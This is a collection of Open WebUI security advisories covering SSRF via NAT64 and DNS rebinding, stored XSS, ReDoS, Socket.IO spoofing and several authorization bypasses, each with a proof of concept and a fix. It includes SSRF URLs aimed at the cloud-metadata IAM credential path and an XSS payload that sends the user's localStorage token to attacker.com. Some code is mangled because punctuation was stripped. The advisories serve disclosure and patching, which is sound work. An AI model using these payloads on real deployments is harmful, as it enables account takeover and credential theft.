Open WebUI fetches user-supplied URLs on the server for RAG URL ingestion, URL-to-markdown conversion and web-search content retrieval, and decides whether a destination is allowed by asking whether its IP address is globally routable. That test operates on the literal IPv6 address and does not look at the IPv4 address embedded inside it. On a deployment whose network has a NAT64 gateway, any verified user can wrap an internal or cloud-metadata IPv4 address in the NAT64 well-known prefix, pass the filter, and receive the internal response body back through the API.

Preconditions

- Any verified (authenticated) user account. No admin role, no elevated permission. - Default configuration: ENABLELOCALWEBFETCH off, the default WEBFETCHFILTERLIST metadata blocklist in place. Neither prevents this, because the blocklist matches hostname strings and the NAT64 literal is not one of them. - The deployment's network must provide NAT64 translation for the well-known 64:ff9b::/96 prefix, which is the common default on IPv6-only and dual-stack cloud and Kubernetes networks. - Deployments on IPv4-only networks, or on any network without a NAT64 gateway, are not affected: the address has nowhere to route.

Impact

On an affected network a low-privilege user can read GET responses from services the server can reach but the internet cannot: cloud instance metadata including IAM role credentials, loopback-bound admin surfaces, and internal APIs in the same VPC or cluster. The response body is returned to the caller, so this is full-read, not blind. Exploitation is not universal, it depends entirely on the deployment's network providing NAT64 translation, which is why the score carries high attack complexity. Deployments without NAT64 lose nothing here.

Fix

Fixed in v0.11.0 by commit 1717b493d. Address classification now unwraps the IPv4 embedded in IPv6 transition encodings before deciding whether a destination is global, and applies that at all three checkpoints. NAT64-wrapped public destinations continue to work. Upgrading to v0.11.0 fully resolves the issue with no configuration change.

Root cause

- backend/openwebui/retrieval/web/utils.py — validateurl(), the pre-fetch check on the submitted URL. - backend/openwebui/retrieval/web/utils.py — ssrfsafenewconn() and SSRFSafeResolver, the connect-time re-checks that defeat DNS rebinding.

All three decided reachability from ipaddress.ipaddress(ip).isglobal applied to the literal address. That predicate answers whether an IPv6 address sits in globally-routable space, which is a different question from where the packet actually ends up once a transition gateway translates it. The NAT64 well-known prefix is by design a global prefix carrying an arbitrary IPv4 destination, so an internal target wrapped in it satisfies the check while reaching exactly what the check exists to prevent. Because the same predicate backed the connect-time re-checks, no later layer caught it either. The fix inspects every standardized transition encoding rather than only the NAT64 prefix, since the same reasoning error applies to each of them.

Proof of concept

Against the real POST /api/v1/retrieval/process/web flow on v0.10.2 as an authenticated user, with internal HTTP services returning a marker string. The plain forms are rejected with HTTP 400:

http://169.254.169.254/latest/meta-data/ -> 400 http://127.0.0.1/ -> 400 http://[::ffff:169.254.169.254]/ -> 400 http://metadata.google.internal/ -> 400

The NAT64 encodings of the same targets are accepted, and the response body is returned in the content field:

http://[64:ff9b::a9fe:a9fe]/latest/meta-data/iam/security-credentials/ -> 200, marker returned http://[64:ff9b::7f00:1]/admin/internal-status -> 200, marker returned

NAT64 translation was modelled by binding the translated addresses locally rather than by routing through a real NAT64 gateway; everything else, including the request flow and the validation code, is the unmodified v0.10.2 path. After the fix both URLs return 400 while http://[64:ff9b::808:808]/ (8.8.8.8, public) still returns 200, confirming no over-blocking.

Credits

- tonghuaroot — reported the transition-form gap in the address classification and supplied the fix approach.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Open WebUI Cleartext Transmission of Credentials Information Disclosure Vulnerability. This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Open WebUI. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the handling of credentials provided to the endpoint. The issue results from transmitting sensitive information in plaintext. An attacker can leverage this vulnerability to disclose transmitted credentials, leading to further compromise. Was ZDI-CAN-28259.

1 / 2
Source: MITRE
First published (updated )
Severity
6.5
AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

The Socket.IO server is configured with alwaysconnect=True (lines 78, 91 in backend/openwebui/socket/main.py) and the connect handler (line 329) never rejects unauthenticated connections. Two Ydoc event handlers have zero authentication checks, allowing unauthenticated clients to interact with collaborative document sessions.

Vulnerable Code

ydoc:awareness:update (line 741) — No auth check at all python @sio.on('ydoc:awareness:update') async def yjsawarenessupdate(sid, data): documentid = data['documentid'] userid = data.get('userid', sid) update = data['update'] # No SESSIONPOOL check, no room membership check await sio.emit( 'ydoc:awareness:update', {'documentid': documentid, 'userid': userid, 'update': update}, room=f'doc{documentid}', skipsid=sid, )

ydoc:document:leave (line 711) — No auth check at all python @sio.on('ydoc:document:leave') async def yjsdocumentleave(sid, data): documentid = data['documentid'] userid = data.get('userid', sid) # No auth check await YDOCMANAGER.removeuser(documentid=documentid, userid=sid) await sio.emit('ydoc:user:left', {'documentid': documentid, 'userid': userid}, room=f'doc{documentid}')

Root Cause: alwaysconnect=True (line 78) python sio = socketio.AsyncServer( alwaysconnect=True, # Never rejects connections ... )

The connect handler (line 329) adds authenticated users to SESSIONPOOL but never returns False or raises an exception for unauthenticated connections.

Exploitation

1. An unauthenticated attacker connects via Socket.IO (no token needed) 2. The attacker emits ydoc:awareness:update with: - documentid: a known/guessed note UUID (format: note:{uuid}) - userid: spoofed to impersonate any user - update: arbitrary awareness data (fake cursor positions, selections) 3. The fake awareness data is broadcast to all legitimate users in the document room 4. The attacker can also emit ydoc:document:leave with spoofed userid to broadcast fake ydoc:user:left events

Impact

- UI disruption: Fake cursor positions and user presence in collaborative editing sessions - User impersonation: Attacker can spoof any userid in awareness updates - Resource exhaustion: Unlimited unauthenticated WebSocket connections maintained by the server

Note: Other Ydoc handlers (ydoc:document:join, ydoc:document:update, ydoc:document:state) correctly check SESSIONPOOL membership.

Suggested Fix

1. Set alwaysconnect=False or reject unauthenticated connections in the connect handler 2. Add SESSIONPOOL checks to ydoc:awareness:update and ydoc:document:leave 3. Add room membership verification before broadcasting to document rooms

---

AI Disclosure (per Rule 11): AI (Claude) was used to assist with source code review, identifying potential vulnerability patterns, and drafting this report. The researcher directed the analysis, selected focus areas, and independently verified all findings against a running v0.8.12 Docker instance using real HTTP requests with two test accounts. The PoCs included are reproducible and were confirmed live before submission.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary Two regexes in backend/openwebui/utils/middleware.py that parse <$skillId|label> skill-mention tags backtrack in O(n²) on input that contains <$ followed by a long run with no closing >. Both run synchronously, on the asyncio event loop, on every chat completion with no feature gate. Because the default deployment is a single uvicorn worker, one such input pins a CPU core inside re and freezes the entire instance for all users until the worker is killed. Any authenticated user can trigger it with one chat message; it also fires accidentally on benign retrieved content (a RAG chunk or tool output) containing the pattern.

Affected versions >= 0.9.2, < 0.10.0. Fixed in v0.10.0 (there is no 0.9.7 release). - SKILLMENTIONRE (the extract pattern) has been O(n²) since v0.9.2; exploitable on 0.9.2–0.9.5 with a large input (hundreds of KB). - v0.9.6 added a second, far more aggressive O(n²) in the strip pattern (introduced by the "keep label as readable text" change), so on 0.9.6 a small input is enough to hang the instance.

Both are fixed by the same patch.

Affected component backend/openwebui/utils/middleware.py (line numbers as of v0.9.6):

python line 2223 — used by extractskillidsfrommessages(), called unconditionally (~line 2625) SKILLMENTIONRE = re.compile(r'<\$([^|>]+)\|?[^>]>')

line 2247 — used by stripskillmentions(), called unconditionally (line 2662) stripre = re.compile(r'<\$[^|>]+\|?([^>])>')

extractskillidsfrommessages() runs before the if allskillids: block (that guard gates only skill injection, not the regex), and stripskillmentions() runs with no guard at all. Neither requires a skill to exist or any setting to be enabled. Both functions are plain synchronous calls inside the async processchatpayload coroutine, so they block the event loop; with the default UVICORNWORKERS=1 (backend/start.sh) the whole instance stalls.

Root cause [^|>] is a subset of [^>], so the quantifier pair [^|>]+ \|? [^>] is ambiguous: on input that never closes with >, [^|>]+ greedily consumes the tail, > fails, and the engine backtracks through every split point between [^|>]+ and [^>] — O(n) positions each doing O(n) work. Polynomial, not exponential, but more than enough to hang a single worker on a ~100 KB input.

Proof of concept Standalone (no Open WebUI required):

python import re, time EXTRACT = re.compile(r'<\$([^|>]+)\|?[^>]>') STRIP = re.compile(r'<\$[^|>]+\|?([^>])>') for n in (8000, 16000, 32000, 64000): s = '<$' + ('a' n) for name, rx in (('extract', EXTRACT), ('strip', STRIP)): t = time.perfcounter(); rx.search(s) print(f'n={n:>6} {name:>7} = {(time.perfcounter()-t)1000:8.1f} ms')

Time quadruples per doubling of n (textbook O(n²)); the strip pattern runs for ~6 seconds on a 64k blob and for minutes on a ~96 KB one.

End-to-end against a live instance (default config): 1. docker run ghcr.io/open-webui/open-webui:v0.9.6 on defaults. 2. Log in as any user (no admin or skill setup). 3. Send a chat message containing <$ followed by 50k+ characters with no >. 4. One CPU core pegs in re; UI and API stop responding for every user until the worker is killed.

Patch Rewrite the optional |label as a non-capturing optional group so the two quantifiers no longer overlap. Both patterns become linear; captures and substituted output are unchanged on well-formed <$id|label>, <$id|>, and bare <$id> mentions.

python SKILLMENTIONRE = re.compile(r'<\$([^|>]+)(?:\|[^>])?>') stripre = re.compile(r'<\$[^|>]+(?:\|([^>]))?>')

After the patch the same hostile input returns in under 1 ms. Shipped in v0.10.0.

Credit Reported by @Vlad-WKG, including a correct root-cause analysis and patch.

1 / 2
Source: GitHub
First published (updated )
Severity
6.4
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Open WebUI is a user-friendly WebUI for LLMs. Open-webui is vulnerable to authenticated blind server-side request forgery. This vulnerability is fixed in 0.1.117.

1 / 2
Source: MITRE
First published (updated )
Severity
6.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

Summary

An authenticated non-admin user with read access to an arena wrapper model can reach a restricted underlying model through task endpoints such as /api/v1/tasks/moa/completions.

The normal chat route resolves arena models before the final chat dispatch and therefore re-checks the selected underlying model. The task routes call utils.chat.generatechatcompletion() directly. In that direct path, arena fallback resolution happens after the wrapper access check and then recurses with bypassfilter=True, skipping the selected submodel's access check.

Technical Details

Open WebUI's current model-access behavior already denies direct access to the restricted model. The normal chat path also denies the selected restricted model after arena preprocessing. The task endpoint path is inconsistent with that protected behavior because it reaches the same restricted model only through the direct arena fallback and recursive bypassfilter=True.

This report does not rely on malicious provider configuration, user-authored Tools/Functions, or direct code execution. The crossed boundary is model read authorization.

Although the arena wrapper must be readable by the user, this is not just an "admin exposed a restricted model" configuration claim. The same configured arena is denied by the normal chat post-preprocessor control once the selected restricted model is the dispatch target. The bypass is specific to task endpoints that skip that preprocessor and enter the fallback arena resolver.

Official documentation also points to this interpretation:

- Open WebUI documents model access control as restricting models to specific users or groups. - The workspace-model documentation treats "wrapper checked, restricted underlying model reached" as broken access control and recommends independent entries for curated deployments. - The evaluation documentation describes arena mode as an evaluation/comparison feature that randomly selects models to compare, not as a feature that grants access to otherwise restricted models. - This is not an unsafe-admin-action report: the same intended model access restriction is enforced on the direct model path and on the normal-chat selected-model control, then bypassed only through the task endpoint call order.

PoV

The attached local PoV does not start a server and does not contact any model provider. It imports the current Open WebUI task endpoint and replaces provider dispatch plus model-access checks with local stubs so the call graph can be observed safely.

Observed result:

| Case | Expected | Actual | | --- | --- | --- | | Direct task request with model=restricted-model | Denied before provider dispatch | Denied; no provider call recorded | | Normal-chat post-preprocessor control with model=restricted-model and metadata.selectedmodelid=restricted-model | Denied before provider dispatch | Denied; no provider call recorded | | Task request with model=public-arena that selects restricted-model | Denied when selected model is restricted | Local provider stub reached with model=restricted-model and bypassfilter=true |

In the arena task case, the restricted model is absent from the access-check log.

Impact

A regular user can use a readable arena wrapper as an oracle for a restricted model via task-generation endpoints. For /api/v1/tasks/moa/completions, the caller controls the task prompt and receives the generated response.

The crossed security boundary is model read authorization: a non-admin user who is denied direct access to a model can still cause Open WebUI to dispatch a request to that model with the operator-configured backend credentials.

This can allow:

- use of paid or internal models with the admin-configured provider key; - bypass of model access grants shown in the model selector; - cost and usage impact on pay-per-token providers; - exposure of model behavior or internal deployment capabilities that admins intended to restrict.

Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L = 7.6.

Primary CWE: CWE-862, Missing Authorization.

Authentication is required, so PR:L is used. User interaction is not required. The confidentiality impact is High because the attacker can query a model the administrator intended to restrict. Integrity and availability are Low because the request can consume provider quota and produce model output under an authorization decision the system would otherwise deny.

This should not be Critical: exploitation requires an authenticated user and a readable arena wrapper, does not cross into another security authority, and does not provide arbitrary code execution or full instance compromise.

Suggested Fix

Do not use bypassfilter=True for arena fallback dispatch unless the selected underlying model has already been authorized for the caller.

Recommended changes:

- after selecting selectedmodelid, load the selected model and call checkmodelaccess(user, selectedmodel) before recursive dispatch; - for filtermode=exclude or empty modelids, build the candidate pool from models the current user can read, not every non-arena model in request.app.state.MODELS; - add regression tests for /api/v1/tasks/moa/completions, /api/v1/tasks/title/completions, /api/v1/tasks/tags/completions, and normal /api/chat/completions arena behavior.

Appendix: Affected Components

- backend/openwebui/routers/tasks.py - /api/v1/tasks/moa/completions builds a payload from caller-controlled model, prompt, and responses, then calls generatechatcompletion(request, formdata=payload, user=user). - backend/openwebui/utils/chat.py - checks access for the user-supplied arena wrapper model. - fallback arena resolution selects an underlying model when the caller did not pass through processchatpayload(). - recursive dispatch uses bypassfilter=True. - backend/openwebui/utils/models.py - arena wrapper access checks only wrapper accessgrants.

Current-head references:

- backend/openwebui/routers/tasks.py:662-707 - backend/openwebui/utils/chat.py:190-204 - backend/openwebui/utils/chat.py:215-240 - backend/openwebui/utils/chat.py:248-269 - backend/openwebui/utils/middleware.py:2323-2347 - backend/openwebui/utils/models.py:378-407

Appendix: Duplicate Analysis

This is distinct from GHSA-9vvh-qmjx-p4q8 / CVE-2026-44555, which covers basemodelid chaining and user-created workspace models. Current head includes the base-model-chain access fix through hasbasemodelaccess.

This report covers task endpoints that call generatechatcompletion() without the main chat preprocessor. The root cause is arena fallback plus recursive bypassfilter=True, not basemodelid.

Live duplicate sweep before submission also reviewed:

- GHSA-v6qf-75pr-p96m: exposed HTTP query parameter ?bypassfilter=true. This report does not rely on caller-controlled query parameters; the task endpoint reaches the server-side recursive bypassfilter=True path after arena fallback resolution. - GHSA-hp5m-24vp-vq2q: /api/openai/responses passthrough missing model authorization. This report targets /api/v1/tasks/moa/completions and the arena resolver inside utils.chat.generatechatcompletion(). - GHSA-gfm2-xm6c-37qc: chat ownership authorization in completions. This report does not require another user's chat ID.

If maintainers prefer to treat this as the same broad "wrapper checked, underlying model not checked" class, it should still be a distinct exploitation vector and affected component: task endpoints, not model creation/import or basemodelid dispatch.

Appendix: Preconditions

- Authenticated non-admin user. - The user can read an arena wrapper model, for example a custom arena with a public read grant. - The arena model includes at least one restricted underlying model that the user cannot query directly.

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
SSRF
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary Open WebUI vetted user-supplied URLs by resolving the hostname once and rejecting private, loopback and link-local addresses, then let the HTTP client resolve that hostname again at connect time. An attacker who controls the authoritative DNS for a hostname they submit can answer with a public address during the check and an internal one at connect, so the fetch reaches an address the check was meant to block. Every user-reachable fetch gated by that check was affected, and most of them hand the internal response back to the attacker.

Preconditions - An account on the instance. No admin rights and no non-default configuration. - Control of the authoritative DNS for a hostname the attacker submits, serving a TTL of 0 and alternating answers. - One of the affected entry points: URL ingest for retrieval, an imageurl in a chat completion, image editing, or the OAuth profile-picture fetch. - The OAuth path additionally needs OAuth login configured and a picture claim (OAUTHPICTURECLAIM, default picture) the user can influence, which is the case on self-service OIDC providers and providers with a user-editable avatar URL. On an existing account it also needs OAUTHUPDATEPICTUREONLOGIN, which is off by default. Deployments without OAuth are not affected on that path; the other paths need no configuration at all.

Impact The server can be made to issue requests to addresses only it can reach: cloud instance metadata such as 169.254.169.254, loopback-bound admin APIs, and internal network services. The response comes back to the attacker on most paths, as document content on the retrieval path, described by the vision model on the chat image path, and base64-encoded into the profile picture on the OAuth path; the image-edit path is blind. On the OAuth path the server also forwards the OAuth access token as a Bearer header to the fetched URL, so a rebind hands that token to the internal target. On a cloud host with IMDSv1 reachable this is enough to take instance IAM credentials.

Exploitation depends on winning the gap between the two resolutions, which the attacker influences but does not fully control. Admin-configured image-generation backends and the shared session pool are not affected and deliberately keep the default client, since an administrator may legitimately point those at an internal host.

Fix Fixed in v0.11.0 (#24759, #25775, #25960, #26699). The check now happens at the connection layer instead of ahead of it: a requests transport adapter resolves the hostname once and connects to that same validated address, and an aiohttp resolver applies the same global-IP check, exposed as a one-off session used by every fetch behind the URL check. Upgrading to v0.11.0 resolves this with no configuration change.

Root cause Affected components: - retrieval web loader (SafeWebBaseLoader) - retrieval content probe (getcontentfromurl) - chat image fetch (getimagebase64fromurl) - image edit fetch (loadurlimage) - OAuth profile-picture fetch (processpictureurl)

The URL check resolved the hostname and inspected the resulting IP, but nothing tied that decision to the connection that followed: the HTTP client resolved the name again on its own, and the second answer was never inspected. The check was therefore an opinion about a past lookup rather than a constraint on the actual connection, which is what a rebinding DNS server defeats. The first connection-layer guard covered only the retrieval loader, leaving the sibling probe, image and OAuth fetches on default clients until each was reported in turn.

Credits - @rezaduty — the rebinding time-of-check/time-of-use bypass and the retrieval loader path. - @nikchillz — the retrieval content-probe path. - @dhyabi2 — the chat imageurl path, where the internal response is read back through the vision model. - @geo-chen — the image-edit path. - @bogdancherniy11-sudo — the OAuth profile-picture path, where the rebind also discloses the forwarded OAuth access token.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
EPSS
0.05%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Low privileged users can upload HTML files which contain JavaScript code via the /api/v1/files/ backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.

Details

The following HTTP request can be sent to the backend server to upload a file with the contents: <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>

http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm

------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html

<h1>padding</h1> <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script> ------WebKitFormBoundaryr0PnRBBHKXD9UEdm--

Note the filename="test.html" , Content-Type: text/html, and <h1>padding</h> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a <script> tag.

The backend server responds to the above request with JSON data that contains an id parameter.

!image

This ID can be used to view the uploaded file in the browser at <BackendURL>/api/v1/files/<fileid>/content/html

Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/openwebui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.

PoC

First, upload an html containing JavaScript code to the backend server using the following HTTP request: http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm

------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html

<h1>padding</h1> <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script> ------WebKitFormBoundaryr0PnRBBHKXD9UEdm--

Then copy the id from the response and use it to view the file in the browser at <BackendURL>/api/v1/files/<fileid>/content/html

Impact

Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
EPSS
0.27%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's access token and gain full control over their account. Chat transcripts can be shared with other users in the same server, or with the whole open-webui community if "Enable Community Sharing" is enabled in the admin panel.

If this exploit is used against an admin user, it is possible to achieve Remote Code Execution on the server where the open-webui backend is hosed. This can be done by creating a new function which contains maliicious python code.

This vulnerability also affects chat transcripts uploaded to https://openwebui.com/c/<user>/<chatid>, allowing for wormable stored XSS in https://openwebui.com

Details

Stored XSS

The file https://github.com/open-webui/open-webui/blob/main/src/lib/components/chat/Messages/Markdown/MarkdownTokens.svelte#L269-L279 contains the following code: TypeScript {:else if token.text.includes(<iframe src="${WEBUIBASEURL}/api/v1/files/)} {@html ${token.text}} That code checks if a chat message has an html tag which contains the text <iframe src="${WEBUIBASEURL}/api/v1/files/, and if so, it renders that html tag using {@html}, which is a dangerous Svelte functionality that allows text to be rendered as HTML code.

Attackers can abuse this by sending a chat message with the following payload: <iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.

This will cause a JavaScript alert window to be displayed every time that chat transcript is opened.

!image !image

In a real attack scenario, instead of injecting alert(1) in the onload attribute, attackers can use the following code to steal the user's access token and send it to a server they control: fetch("https://attacker.com/?token=" + localStorage.getItem("token"))

This is possible because the access token is stored inside the user's localStorage, which is accessible by JavaScript.

Then, once the attacker has created a chat transcript which contains that payload, they can share that transcript with other users on the same server by clicking on the 3 dots next to the chat transcript on the left, and clicking "Share"

!image

If "Enable Community Sharing" is enabled in the admin panel. attackers can upload the infected chat transcript to https://openwebui.com/, where the Stored XSS payload will be executed

!image

This makes the exploit a wormable Stored XSS. Attackers can upload an infected chat to their profile which has JavaScript code to upload a similar infected chat to the visitori's profile, share it with other members of the open-webui community, and infect their profiles as well.

<hr>

RCE

If an attacker manages to steal an admin user's token, they can then achieve RCE on the backend server by creating a function (http://localhost:5174/admin/functions), which by design allows admins to execute arbitrary python code on the backend server.

The following HTTP request can be sent to the backend server to execute arbitrary python code.

!image !image

PoC

Attackers can abuse this by sending a chat message with the following payload: <iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>, where http://localhost:8080 is the URL where the open-webui backend server is hosted.

Impact

Attackers can send a a link to a shared chat transcript to other users on the same server to take control over their accounts. They can also upload the chat to https://openwebui.com and take control over other users' accounts.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Summary

POST /api/v1/images/edit performed no authorization beyond requiring a verified account. Every other image-editing surface in Open WebUI enforces the global image-edit switch and the per-user image-generation permission — the /api/v1/images/generations route, the built-in editimage tool, and the chat image-edit middleware — but the direct edit route enforced neither. A verified non-admin user could therefore invoke server-side image editing, reaching the configured image-edit provider with the administrator's credentials, even when the administrator had globally disabled image editing (ENABLEIMAGEEDIT=False) or denied that user image-generation permission. The image-editing UI is surfaced only to administrators (Playground), so the route additionally exposed an admin-only capability to any verified user.

Impact

An authenticated, non-admin user can:

- bypass the global ENABLEIMAGEEDIT=False administrator control; - bypass a denied per-user/group features.imagegeneration permission; - cause the server to send billable image-edit requests to the configured provider (OpenAI-compatible, Gemini, or ComfyUI) using administrator-configured credentials (IMAGESEDITOPENAIAPIKEY for the OpenAI engine).

No cross-user data is exposed and the provider credentials are never returned to the caller; the impact is the control/permission bypass and the associated billable resource consumption.

Affected Versions

>= 0.8.11, < 0.10.0 (the /api/v1/images/edit route was introduced in 0.8.11 and was ungated from the outset). Fixed in v0.10.0.

Details

/api/v1/images/generations enforces ENABLEIMAGEGENERATION (403 if globally disabled) and features.imagegeneration (403 for non-admins without the permission). The editimage built-in tool and the chat image-edit middleware likewise gate on ENABLEIMAGEEDIT and features.imagegeneration. The direct POST /api/v1/images/edit route ran on Depends(getverifieduser) alone and proceeded straight to provider dispatch, applying none of these controls.

Proof of Concept

As a verified non-admin user, with image editing globally disabled (ENABLEIMAGEEDIT=False) or features.imagegeneration denied for the user:

http POST /api/v1/images/edit Authorization: Bearer <nonadminusertoken> Content-Type: application/json

{"image":"data:image/png;base64,<png>","prompt":"edit","model":"gpt-image-1"}

The request reaches the configured image-edit provider and returns an edited image despite the disabled control/permission.

Patch

The direct route is split from its shared implementation (mirroring generateimages/imagegenerations): a thin /edit route now enforces ENABLEIMAGEEDIT and the per-user features.imagegeneration permission before delegating to the shared imageedits() implementation. The internal callers (the editimage tool and the chat middleware) call the implementation directly and already gate themselves, so they are unaffected.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

Current main and v0.9.6 still allow an authenticated user to turn read-only access to another user's file into write/delete access by attaching that file ID to an attacker-controlled workspace model.

This is an incomplete-fix variant of GHSA-vjqm-6gcc-62cr. The current fix adds verifyknowledgefileaccess(), but the validator only checks hasaccesstofile(fileid, "read", user). The file write/delete routes later trust hasaccesstofile(fileid, "write", user), and that function grants access through any writable model whose meta.knowledge contains the file ID.

The PoV includes a negative control showing the current validator rejects an inaccessible arbitrary file ID. The residual issue is narrower: a file ID that is readable only through a KB read grant is accepted into direct model file metadata, then the same model metadata satisfies later file write/delete checks.

Technical Details

backend/openwebui/routers/models.py::verifyknowledgefileaccess() accepts model meta.knowledge file entries when the caller can read the file:

python if not await hasaccesstofile(fileid, 'read', user, db=db): raise HTTPException(...)

backend/openwebui/utils/accesscontrol/files.py::hasaccesstofile() then uses attacker-writable model metadata as a source for any requested access type:

python for model in await Models.getmodelsbyuserid(user.id, permission=accesstype, db=db): knowledgeitems = getattr(model.meta, 'knowledge', None) or [] for item in knowledgeitems: if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id: return True

For accesstype="write", the attacker-owned model satisfies the model query, so the victim file becomes writable even though the attacker only had read access through the KB grant.

This crosses another user's integrity and availability boundary, not just the attacker's own account. Before model metadata is involved, the attacker can read the file through a KB grant but cannot write it. After the model metadata entry is accepted, the same file becomes writable/deletable.

The official docs distinguish attached knowledge permissions: knowledge-base collections may use explicit read grants, while individual files are owner/admin-only. This issue lets a read grant to a KB become direct write/delete authority over an individual file.

This is also consistent with the documented RBAC model: resource grants have separate read and write permissions, where write means the user can update or delete the resource. The exploit starts from a read-only KB grant and reaches file write/delete without a corresponding file owner/admin/write authorization.

The required Models workspace access is not root-equivalent in Open WebUI's documentation. The policy's root-equivalent warning applies to Tools/Functions code execution. This report does not use Tools/Functions, custom Python, admin actions, or a legacy-only path.

Impact

An authenticated non-admin user with Models workspace access and read-only access to a victim file through a knowledge-base grant can create/import/update a model that references the file, then rename, overwrite, or delete the victim user's file through write-gated file routes.

Confirmed sinks in current head:

- POST /api/v1/files/{id}/rename - POST /api/v1/files/{id}/data/content/update - DELETE /api/v1/files/{id}

Suggested severity: High.

Suggested CVSS:

text CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Suggested CWE:

text CWE-863: Incorrect Authorization

I am not claiming Critical severity because the attacker must be authenticated, must have Models workspace access, and must already have read-only access to the victim file through a KB grant. The High score is based on the post-condition: that limited read access becomes destructive cross-user file write/delete.

Appendix: AI Disclosure

Appendix: Local PoV

The PoV is local-only. It does not start a server, send network traffic, or use a real database. It loads and executes the current-head function bodies for:

- hasaccesstofile() - verifyknowledgefileaccess() - deletefilebyid()

Run from the harness root:

bash uv run python attached-evidence/poc/povopenwebuimodelfilereadtowrite.py

Observed output:

json { "confirmed": true, "controlinaccessiblefilerejectedbyvalidator": true, "controlreadallowedviakbreadgrant": true, "controlwriteallowedbeforemodellaundering": false, "modelmetadatavalidatorpassedwithreadonlyaccess": true, "writeallowedafterattackerownedmodelcontainsfile": true, "deleterouteresult": { "message": "File deleted successfully" }, "deletedfileids": [ "victim-file" ] }

This demonstrates expected versus actual behavior:

- Expected: a user with only read access through a KB grant cannot mutate the victim file. - Actual: after the read-only file ID is accepted into attacker-owned model metadata, the same user satisfies the file write/delete guard and deletes the victim file.

Appendix: Remediation

Recommended defense-in-depth fix:

1. In verifyknowledgefileaccess(), require direct file ownership or admin for type: "file" model knowledge entries. Do not accept indirect KB read access as sufficient authority to attach an individual file to a model. 2. In hasaccesstofile(), do not let the model meta.knowledge branch grant write access to files. Model-attached knowledge should be read-only unless the caller separately owns/administers the underlying file or has an explicit write-capable file authorization path. 3. Add regression tests covering the KB-read control, the blocked model attach, and rename/update/delete denial for the victim file.

1 / 2
Source: GitHub
